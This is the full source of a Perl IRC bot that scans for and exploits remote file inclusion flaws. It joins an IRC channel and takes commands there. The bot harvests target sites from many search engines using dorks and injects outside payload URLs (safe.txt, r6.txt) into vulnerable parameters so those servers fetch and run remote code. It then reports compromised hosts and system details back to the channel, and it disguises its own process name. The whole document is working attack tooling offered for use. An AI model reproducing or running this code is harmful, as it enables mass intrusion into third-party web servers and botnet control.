#!/usr/home/bin/perl use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; my $processo = "/priv8/"; my $cmd="http://usuarios.arnet.com.ar/larry123/safe.txt?"; my $server="irc.priv8.org.uk"; my $porta="6667"; my $nick="TeSuDa|02|"; my $canale="#mTs"; my $verbot = "1.2"; my $pid=fork; exit if $pid; $0="$processo"."\0"x16; my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n"; $sk->autoflush(1); print $sk "NICK $nick\r\n"; print $sk "USER TeSuDa 13 * : preman from gorontalo\r\n"; print $sk "JOIN $canale\r\n"; while($line = <$sk>){ $line =~ s/\r\n$//; if ($line=~ /^PING \:(.*)/) { print "PONG :$1"; print $sk "PONG :$1"; } if ($line=~ /PRIVMSG $canale :.bye/){ stampa($sk, "QUIT"); } if ($line=~ /PRIVMSG $canale :.help/){ stampa($sk, "PRIVMSG $canale :[13Ajuda] 6Scanner RFI Versão $verbot (C)UDP , 3Color By 10Baixinho"); stampa($sk, "PRIVMSG $canale :[13Ajuda] 2Comando: 4.scan Bug Dork 2Para scanear."); stampa($sk, "PRIVMSG $canale :[13Ajuda] 2Comando: 7.engine 2Para verificar os sites de busca"); stampa($sk, "PRIVMSG $canale :[13Ajuda] 2Comando: 7.milworm 2Para verificar bugs do milworm"); stampa($sk, "PRIVMSG $canale :[13Ajuda] 2Comando: 7.info 2Para verificar status Bot/System "); } if ($line=~ /PRIVMSG $canale :.info/){ my $sysos = `uname -sr`; my $uptime = `uptime`; if ($sysos =~ /freebsd/i ) { $sysname = `hostname`; $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`; $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`; chomp($memory); chomp($swap); } elsif ( $sysos =~ /linux/i ) { $sysname = `hostname -f`; $memory = `free -m |grep -i mem | awk '{print \$2}'`; $swap = `free -m |grep -i swap | awk '{print \$2}'`; chomp($swap); chomp($memory); } else { $sysname ="No Found";; $memory ="No found"; $swap ="No Found"; } $uptime=~s/\n//g; $sysname=~s/\n//g; $sysos=~s/\n//g; stampa($sk, "PRIVMSG $canale :[13Info] Server: $server :| - $porta"); stampa($sk, "PRIVMSG $canale :[13Info] SO/Hostname:12 $sysos - $sysname"); stampa($sk, "PRIVMSG $canale :[13Info] Process/PID:12 $processo - $$"); stampa($sk, "PRIVMSG $canale :[13Info] Uptime:12 $uptime12::."); stampa($sk, "PRIVMSG $canale :[13Info] Memory/Swap:12 $memory - $swap"); stampa($sk, "PRIVMSG $canale :[13Info] Perl Version/BOT:12 $] - $verbot"); } if ($line=~ /PRIVMSG $canale :.engine/){ stampa($sk, "PRIVMSG $canale :[13Engine] 2Google(Bypass), Yahoo, MsN, Altavista, Libero, AllTheWeb, AsK, UoL, AoL, MozBot, Mamma, RomSearch, GigaBlast, Jekoo, FireBall, Lycos, Search"); } if ($line=~ /PRIVMSG $canale :.milworm/){ my @ltt=(); my @bug=(); my $x; my $page=""; my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return; print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$socke>; $page="@r"; close($socke); while ($page =~ m/(.*)</g){ $x = $1; if ($x =~ /\<\;/) { $x =~ s/\<\;/</g; } if ($x !~ /milw0rm/) { push (@bug,$x); }} while ($page =~ m/<link.*expl.*([0-9]...)</g) { if ($1 !~ m/milw0rm.com|exploits|en/){ push (@ltt,"http://www.milw0rm.com/exploits/$1 "); }} stampa($sk, "PRIVMSG $canale :[13MillW0rm] 7Ultimo bug do milw0rm"); foreach $x (0..(@ltt - 1)) { stampa($sk, "PRIVMSG $canale :[13MillW0rm] Lista Bug Milw0rm $bug[$x] - $ltt[$x]"); sleep 1; }} if ($line=~ /PRIVMSG $canale :.scan\s+(.*?)\s+(.*)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bug=$1; my $dork=$2; my $contatore=0; my ($type,$space); my %hosts; stampa($sk, "PRIVMSG $canale :[5Dork] $dork"); stampa($sk, "PRIVMSG $canale :[5Bug] $bug"); stampa($sk, "PRIVMSG $canale :[5Carregando] 2Por favor, Espere..."); my @glist=&googlet($dork); my @ylist=&yahoo($dork); my @mlist=&msn($dork); my @alist=&altavista($dork); my @llist=&libero($dork); my @allist=&alltheweb($dork); my @asklist=&ask($dork); my @uollist=&uol($dork); my @mozlist=&mozbot($dork); my @lylist=&lycos($dork); my @sealist=&search($dork); my @malist=&mamma($dork); my @romlist=&romsearch($dork); my @gigalist=&gigablast($dork); my @firelist=&fireball($dork); my @jeklist=&jekoo($dork); stampa($sk, "PRIVMSG $canale : 1[3Scan1] [4Dork] $dork"); stampa($sk, "PRIVMSG $canale :1[3Scan] 14[12Google:7 ".scalar(@glist)."14] 3Sites!"); stampa($sk, "PRIVMSG $canale :1[3Scan] 14[12RomSearch:7 ".scalar(@romlist)."14] 14[12MsN:7 ".scalar(@mlist)."14] 14[12UoL:7 ".scalar(@uollist)."14] 14[12Libero:7 ".scalar(@llist)."14] 3Sites!"); stampa($sk, "PRIVMSG $canale :1[3Scan] 14[12All-The-Web:7 ".scalar(@allist)."14] 14[12Yahoo:7 ".scalar(@ylist)."14] 14[12Altavista:7 ".scalar(@alist)."14] 14[12AoL:7 ".scalar(@aollist)."14] 3Sites!"); stampa($sk, "PRIVMSG $canale :1[3Scan] 14[12MozBot:7 ".scalar(@mozlist)."14] 14[12Mamma:7 ".scalar(@malist)."14] 14[12Ask:7 ".scalar(@asklist)."14] 14[12Lycos:7 ".scalar(@lylist)."14] 3Sites!"); stampa($sk, "PRIVMSG $canale :1[3Scan] 14[12GigaBlast:7 ".scalar(@gigalist)."14] 14[12Search:7 ".scalar(@sealist)."14] 14[12Jekoo:7 ".scalar(@jeklist)."14] 3Sites!"); push(my @tot, @glist, @ylist, @mlist, @alist, @llist, @allist,@asklist,@uollist,@aollist,@mozlist,@lylist,@malist,@romlist,@gigalist,@sealist,@jeklist,@firelist); stampa($sk, "PRIVMSG $canale :1[3Scan] 12Total de Sites ".scalar(@tot)." Sites!"); my @puliti=&unici(@tot); stampa($sk, "PRIVMSG $canale :1[3Scan] 12Total para Scan ".scalar(@puliti)." Sites!"); stampa($sk, "PRIVMSG $canale :1[3Scan] 4Testando Vulnerabilidade!"); my $uni=scalar(@puliti); foreach my $sito (@puliti) { $contatore++; if ($contatore %30==0){ } if ($contatore==$uni-1){ stampa($sk, "PRIVMSG $canale :1[3Scan] 7Terminou scan com string: [13Dork] $dork"); } my $test="http://".$sito.$bug.$cmd."?"; my $print="http://".$sito.$bug."http://az.co.cz/foto/r6.txt"."?"; my $req=HTTP::Request->new(GET=>$test); my $ua=LWP::UserAgent->new(); $ua->timeout(5); my $response=$ua->request($req); if ($response->is_success) { my $re=$response->content; if($re =~ /31337/ && $re =~ /uid=/){ my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ $x=os($test); ($type,$space)=split(/\,/,$x); stampa($sk, "PRIVMSG $canale :[3Safe(4 OFF ) 4Sys(7 $type ) 6Free(14 $space )] $print"); }} elsif($re =~ /31337/) { my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ $x=os($test); ($type,$space)=split(/\,/,$x); stampa($sk, "PRIVMSG $canale :[3Safe(3 ON ) 4Sys(7 $type ) 6Free(14 $space )] $print"); }} }}} exit; }}} sub stampa() { if ($#_ == '1') { my $sk = $_[0]; print $sk "$_[1]\n"; } else { print $sk "$_[0]\n"; }} sub os(){ my $sito=$_[0]; my $Res=query($sito); my $type; my $free; my $str; while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){ $type=$1; } while($Res=~m/<br>Free:(.+?)\<br>/g){ $free=$1; } $str=$type.",".$free; return $str; } sub googlet { my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk","ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg","com.tr","com.tw","com.ua","co.uk","hu"); my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK","FI","FR","GR","HK","IE","IL","IT","JP","KR","LT","LV","NL","PA","PE","PL","PT","RU","SG","TR","TW","UA","UK%7CcountryGB","HU"); my @lang = ("en","es","de","nl","pt-BR","it","de","fo","sv","fr","el","zh-TW","ga","iw","ja","ko","lt","ru","qu","pl","pt-PT","ta","tr","zh-TW","hu"); my @lst; my $key=key($_[0]); my $c=0; foreach my $i (@dominios){ my @lista = google($i,$key,$lang[$c],$country[$c]); push(@lst,@lista); $c++; } return @lst; } sub google(){ my @lst; my $i=$_[0]; my $key=$_[1]; my $lang= $_[2]; my $country =$_[3]; for($b=0;$b<=5000;$b+=100){ my $Go=("www.google.".$i."/search?hl=".$lang."&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country); my $Res=query($Go); while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){ if ($1 !~ /google/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub aol(){ my @lst; my $key = $_[0]; for($b=1;$b<=100;$b++){ my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8"); my $Res=query($AoL); while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){ my $k=$1; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub yahoo(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=100){ my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b); my $Res=query($Ya); while($Res =~ m/\<em class=yschurl>(.+?)\<\/em>/g){ my $k=$1; $k=~s/<b>//g; $k=~s/<\/b>//g; $k=~s/<wbr>//g; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub altavista(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=10){ my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b); my $Res=query($AlT); while($Res=~m/<span class=ngrn>(.+?)\//g){ if($1 !~ /altavista/){ my $k=$1; $k=~s/<//g; $k=~s/ //g; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub msn(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=10){ my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE"); my $Res=query($MsN); while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){ if($1 !~ /msn|live/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub libero(){ my @lst; my $key=$_[0]; my $i=0; my $pg=0; for($i=0,$pg=0; $i<=1000; $i+=10,$pg++) { my $Lib=("http://arianna.libero.it/search/abin/integrata.cgi?s=1&pag=".$pg."&start=".$i."&query=".key($key)); my $Res=query($Lib); while($Res =~ m/<a class=\"testoblu\" href=\"?http:\/\/([^>\"]*)\//g){ my $k=$1; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub mozbot(){ my @lst; my $key = $_[0]; for($b=0;$b<=1000;$b+=100){ my $moz=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$b); my $Res=query($moz); while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){ if ($1 !~ m/google|cache|translate/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub lycos(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=10){ my $lycos=("http://search.lycos.com/?query=".key($key)."&start=".$b); my $Res=query($lycos); while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){ my $k=$1; if($k!~/busca|uol|yahoo/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub search(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=10){ my $search=("http://www.search.com/search?q=".key($key)."&start=".$b); my $Res=query($search); while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){ my $k=$1; if($k!~/busca|uol|yahoo/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub mamma(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=10){ my $mamma=("http://www.mamma.com/Mamma?utfout=".$b."&qtype=0&query=".key($key)); my $Res=query($mamma); while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){ if ($1 !~ /msn|live|google|yahoo/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub romsearch(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=10){ my $romsearch=("http://www.romsearch.net/search/search.pl?Terms=".key($key)."&start=".$b); my $Res=query($romsearch); while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){ my $k=$1; if($k!~/busca|uol|yahoo/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub gigablast(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=10){ my $gigablast=("http://www.gigablast.com/search?q=".key($key)."&start=".$b); my $Res=query($gigablast); while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){ my $k=$1; if($k!~/busca|uol|yahoo/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub fireball(){ my $key=$_[0]; my $inizio=1; my $pagine=200; my @lst; my $av=0; while($inizio <= $pagine){ my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8"; my $Res=query($fireball); while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){ if ($1 !~ /msn|live|google|yahoo/){ my $k="$1/"; my @grep=links($k); push(@lst,@grep); }} $av=$av+10; $inizio++; } return @lst; } sub jekoo(){ my @lista; my $key = $_[0]; my $lang= $_[1]; for($b=0;$b<=10;$b+=1){ my $je=("http://www.jekoo.com/search.asp?cln=%5Bempty%5D&mkt=".$lang."&src=1&adv=0&key=%5Bempty%5D&ksc=".$key."&page=".$b); my $Res=query($je); while($Res =~ m/noscript>([^<>\"]*)/g){ if ($1 !~ /msn|live|google|yahoo/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub ask(){ my @lst; my $key=$_[0]; my $i=0; my $pg=0; for($i=0; $i<=1000; $i+=10) { my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all"); my $Res=query($Ask); while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){ my $k=$3; $k=~s/[\"\ ]//g; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub alltheweb() { my @lst; my $key=$_[0]; my $i=0; my $pg=0; for($i=0; $i<=1000; $i+=100) { my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i); my $Res=query($all); while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){ my $k=$1; $k=~s/ //g; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub uol(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=10){ my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i); my $Res=query($UoL); while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){ my $k=$1; if($k!~/busca|uol|yahoo/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } sub links() { my @l; my $link=$_[0]; my $host=$_[0]; my $hdir=$_[0]; $hdir=~s/(.*)\/[^\/]*$/\1/; $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host.="/"; $link.="/"; $hdir.="/"; $host=~s/\/\//\//g; $hdir=~s/\/\//\//g; $link=~s/\/\//\//g; push(@l,$link,$host,$hdir); return @l; } sub geths(){ my $host=$_[0]; $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; return $host; } sub key(){ my $chiave=$_[0]; $chiave =~ s/ /\+/g; $chiave =~ s/:/\%3A/g; $chiave =~ s/\//\%2F/g; $chiave =~ s/&/\%26/g; $chiave =~ s/\"/\%22/g; $chiave =~ s/,/\%2C/g; $chiave =~ s/\\/\%5C/g; return $chiave; } sub query($){ my $url=$_[0]; $url=~s/http:\/\///; my $host=$url; my $query=$url; my $page=""; $host=~s/href=\"?http:\/\///; $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query=~s/$host//; if ($query eq "") {$query="/";}; eval { my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page="@r"; close($sock); }; return $page; } sub unici{ my @unici = (); my %visti = (); foreach my $elemento ( @_ ) { next if $visti{ $elemento }++; push @unici, $elemento; } return @unici; }